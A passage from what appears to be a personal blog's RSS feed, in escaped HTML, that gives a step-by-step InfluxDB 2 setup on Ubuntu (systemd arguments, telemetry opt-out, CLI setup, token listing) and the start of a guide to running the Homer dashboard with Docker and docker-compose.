&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install influxdb2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Start the InfluxDB service:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo service influxdb start
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Installing the InfluxDB package creates a service file at &lt;code&gt;/lib/systemd/system/influxdb.service&lt;/code&gt; to start InfluxDB as a background service on startup.&lt;/p&gt;
&lt;p&gt;Restart your system:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo reboot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And verify that the service is running correctly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo service influxdb status
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When installed as a service, InfluxDB stores data in the following locations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Time series data: &lt;code&gt;/var/lib/influxdb/engine/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Key-value data: &lt;code&gt;/var/lib/influxdb/influxd.bolt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;influx CLI configurations: &lt;code&gt;~/.influxdbv2/configs&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="optional-configurations"&gt;
Optional Configurations
&lt;a href="#optional-configurations" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="pass-arguments-to-systemd"&gt;
Pass arguments to systemd
&lt;a href="#pass-arguments-to-systemd" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If we want to pass arguments to the &lt;code&gt;influxd&lt;/code&gt; service we can do that with 2 ways:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;By adding one or more lines like the following containing arguments for &lt;code&gt;influxd&lt;/code&gt; to &lt;code&gt;/etc/default/influxdb2&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ARG1&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--http-bind-address :8087&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ARG2&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;another argument here&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;By editing the &lt;code&gt;/lib/systemd/system/influxdb.service&lt;/code&gt; file as follows:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ExecStart&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/usr/bin/influxd $ARG1 $ARG2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="network-ports"&gt;
Network Ports
&lt;a href="#network-ports" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;By default, InfluxDB uses TCP port &lt;code&gt;8086&lt;/code&gt; for client-server communication over the &lt;a href="https://docs.influxdata.com/influxdb/v2.0/reference/api/"&gt;InfluxDB HTTP API&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="enable-shell-completion"&gt;
Enable shell completion
&lt;a href="#enable-shell-completion" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;influx completion&lt;/code&gt; command outputs &lt;code&gt;influx&lt;/code&gt; shell completion scripts for a specified shell (&lt;code&gt;bash&lt;/code&gt; or &lt;code&gt;zsh&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Depending on the shell we are using we can generate the corresponding completion scripts. For this guide we will use the &lt;code&gt;zsh&lt;/code&gt; file. See the official guide for the &lt;code&gt;bash&lt;/code&gt; version.&lt;/p&gt;
&lt;h4 id="zsh"&gt;
zsh
&lt;a href="#zsh" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;We need to edit the &lt;code&gt;~/.zshrc&lt;/code&gt; file and add a command in order to execute it on every new shell start up:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim ~/.zshrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and add the following at the end of the file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# InfluxDB completion&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;source &amp;lt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;influx completion zsh&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="disable-telemetry"&gt;
Disable Telemetry
&lt;a href="#disable-telemetry" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;By default, InfluxDB sends telemetry data back to InfluxData. To opt-out of sending telemetry data back to InfluxData, include the &lt;code&gt;--reporting-disabled&lt;/code&gt; flag when starting &lt;code&gt;influxd&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;influxd --reporting-disabled
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For the case of the &lt;code&gt;systemd&lt;/code&gt; service we can edit the &lt;code&gt;/lib/systemd/system/influxdb.service&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ExecStart&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/usr/bin/influxd --reporting-disabled&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and restart the service:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart influxdb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="set-up-influxdb"&gt;
Set Up InfluxDB
&lt;a href="#set-up-influxdb" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The initial setup process for InfluxDB walks through creating a default organization, user, bucket, and Admin authentication token. The setup process is available in both the InfluxDB user interface (UI) and in the &lt;code&gt;influx&lt;/code&gt; command line interface (CLI).&lt;/p&gt;
&lt;p&gt;I personally prefer the CLI method, because you configure it once for both the CLI and the UI. The UI method has an extra step to be able to use both the UI and the CLI.&lt;/p&gt;
&lt;h3 id="through-the-ui"&gt;
Through the UI
&lt;a href="#through-the-ui" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Follow the official guide for &lt;a href="https://docs.influxdata.com/influxdb/v2.0/install/#set-up-influxdb-through-the-ui"&gt;Setting up InfluxDB through the UI&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="through-the-cli"&gt;
Through the CLI
&lt;a href="#through-the-cli" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Begin the InfluxDB setup process via the &lt;code&gt;influx&lt;/code&gt; CLI by running:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;influx setup
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Enter a &lt;strong&gt;primary username&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Enter a &lt;strong&gt;password&lt;/strong&gt; for your user.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm your password&lt;/strong&gt; by entering it again.&lt;/li&gt;
&lt;li&gt;Enter a name for your &lt;strong&gt;primary organization&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Enter a name for your &lt;strong&gt;primary bucket&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Enter a &lt;strong&gt;retention period&lt;/strong&gt; for your primary bucket—valid units are nanoseconds (ns), microseconds (us or µs), milliseconds (ms), seconds (s), minutes (m), hours (h), days (d), and weeks (w). Enter nothing for an infinite retention period. (&lt;em&gt;You can enter infinite for simplicity&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Confirm the details for your primary user, organization, and bucket.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;InfluxDB is now initialized with a:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;primary user&lt;/li&gt;
&lt;li&gt;organization&lt;/li&gt;
&lt;li&gt;bucket&lt;/li&gt;
&lt;li&gt;authentication token.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;InfluxDB also creates a configuration profile for you so that you don’t have to add organization and token to every command.&lt;/p&gt;
&lt;p&gt;To view that config profile, use the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;influx config list
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="view-tokens"&gt;
View tokens
&lt;a href="#view-tokens" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;View authentication tokens using the InfluxDB user interface (UI) or the &lt;code&gt;influx&lt;/code&gt; command line interface (CLI).&lt;/p&gt;
&lt;h3 id="view-tokens-in-the-influxdb-ui"&gt;
View tokens in the InfluxDB UI
&lt;a href="#view-tokens-in-the-influxdb-ui" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;In the navigation menu on the left, select Data &lt;strong&gt;(Load Data) &amp;gt; Tokens&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click a token name from the list to view the token and a summary of access permissions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="view-tokens-using-the-influx-cli"&gt;
View tokens using the influx CLI
&lt;a href="#view-tokens-using-the-influx-cli" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Use the &lt;code&gt;influx auth list&lt;/code&gt; command to view tokens:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ influx auth list
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ID Description Token User Name User ID Permissions
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.influxdata.com/influxdb/v2.0/install/?t=Linux"&gt;Influx - Install InfluxDB&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.influxdata.com/influxdb/v1.8/introduction/install/"&gt;Influx - Install InfluxDB OSS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://portal.influxdata.com/downloads/"&gt;Influx - Downloads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.influxdata.com/influxdb/v2.0/reference/cli/influx/completion/#install-completion-scripts"&gt;Influx - influx completion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.influxdata.com/influxdb/v2.0/security/tokens/view-tokens"&gt;Influx - View tokens&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://websiteforstudents.com/how-to-install-influxdb-on-ubuntu-18-04-16-04/"&gt;How to Install InfluxDB on Ubuntu 18.04 | 16.04&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Homer Configure</title><link>https://thanoskoutr.com/posts/homer-configure/</link><pubDate>Fri, 11 Jun 2021 18:49:49 +0300</pubDate><guid>https://thanoskoutr.com/posts/homer-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/homer.png"/&gt;
&lt;p&gt;&lt;a href="https://github.com/bastienwirtz/homer"&gt;Homer&lt;/a&gt; is a dead simple static HOMepage for your servER to keep your services on hand, from a simple &lt;code&gt;yaml&lt;/code&gt; configuration file.&lt;/p&gt;
&lt;p&gt;We can use this app in order to have a homepage for all our services, apps and links of our server into one place, and edit only one &lt;code&gt;yaml&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;In order to run the app we need &lt;a href="https://thanoskoutr.com/posts/docker-install/"&gt;Docker installed in our system&lt;/a&gt;, as it is going to be run as a container. We will also need &lt;a href="https://thanoskoutr.com/posts/docker-compose-install/"&gt;Docker Compose&lt;/a&gt; if we are going to use Compose to start and stop the container.&lt;/p&gt;
&lt;h2 id="create-assets-directory"&gt;
Create assets directory
&lt;a href="#create-assets-directory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;First we create a local &lt;code&gt;assets&lt;/code&gt; directory in which &lt;code&gt;Homer&lt;/code&gt; will store all the assets for the web app and a default &lt;code&gt;config.yml&lt;/code&gt; configuration file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir ~/homer
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir ~/homer/assets
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="run-using-docker"&gt;
Run Using Docker
&lt;a href="#run-using-docker" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We can now run the container (the first time it will be downloaded from dockerhub):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker run -d &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -p 80:8080 &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v ~/homer/assets:/www/assets &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --restart&lt;span style="color:#f92672"&gt;=&lt;/span&gt;always &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; b4bz/homer:latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Docker run options explained:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p&lt;/code&gt;: We can bind whichever port we want on the server-host, like &lt;code&gt;69&lt;/code&gt;: &lt;code&gt;-p 69:8080&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt;: We specify the local &lt;code&gt;assets&lt;/code&gt; directory we created previously.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="run-as-specific-user"&gt;
Run as specific user
&lt;a href="#run-as-specific-user" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;It is best to run the container using the &lt;code&gt;UID&lt;/code&gt; and &lt;code&gt;GID&lt;/code&gt; environmental variables, in order to specify the user permissions of the local &lt;code&gt;assets&lt;/code&gt; directory. This will enable us to edit the &lt;code&gt;config.yml&lt;/code&gt; later, without changing the file permissions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker run -d -p 80:8080 -v ~/homer/assets:/www/assets -e &lt;span style="color:#e6db74"&gt;&amp;#34;UID=1000&amp;#34;&lt;/span&gt; -e &lt;span style="color:#e6db74"&gt;&amp;#34;GID=1000&amp;#34;&lt;/span&gt; --restart&lt;span style="color:#f92672"&gt;=&lt;/span&gt;always b4bz/homer:latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Docker run option explained:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-e&lt;/code&gt;: Set the &lt;code&gt;UID&lt;/code&gt; and &lt;code&gt;GID&lt;/code&gt; depending on your user&amp;rsquo;s. Find it with &lt;code&gt;id&lt;/code&gt; command.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="run-using-docker-compose"&gt;
Run Using Docker Compose
&lt;a href="#run-using-docker-compose" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The better way to run the container is using &lt;code&gt;docker-compose&lt;/code&gt; file where we can keep all the configurations tracked and simple start and stop the container with one command.&lt;/p&gt;
&lt;p&gt;Create a &lt;code&gt;docker-compose.yml&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;touch docker-compose.yml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will fetch the &lt;a href="https://github.com/bastienwirtz/homer/blob/main/docker-compose.yml"&gt;docker-compose&lt;/a&gt; file that &lt;a href="https://github.com/bastienwirtz/homer"&gt;Homer&lt;/a&gt; provides, and we will change some settings:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl https://raw.githubusercontent.com/bastienwirtz/homer/main/docker-compose.yml &amp;gt; docker-compose.yml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The file currently is the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;version&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;services&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;homer&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;image&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;b4bz/homer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#To build from source, comment previous line and uncomment below&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#build: .&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;container_name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;homer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;/your/local/assets/:/www/assets&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;ports&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;8080&lt;/span&gt;:&lt;span style="color:#ae81ff"&gt;8080&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#environment:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# - UID=1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# - GID=1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;restart&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;unless-stopped&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will change the volume path where are &lt;code&gt;assets&lt;/code&gt; directory, the &lt;code&gt;port&lt;/code&gt; that Homer will use and the &lt;code&gt;UID&lt;/code&gt; and&lt;code&gt;GID&lt;/code&gt; owner, just like our &lt;code&gt;docker run&lt;/code&gt; command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;version&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;services&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;homer&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;image&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;b4bz/homer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#To build from source, comment previous line and uncomment below&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#build: .&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;container_name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;homer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;./assets/:/www/assets&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;ports&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;:&lt;span style="color:#ae81ff"&gt;8080&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;environment&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;UID=1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;GID=1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;restart&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;unless-stopped&lt;/span&gt;
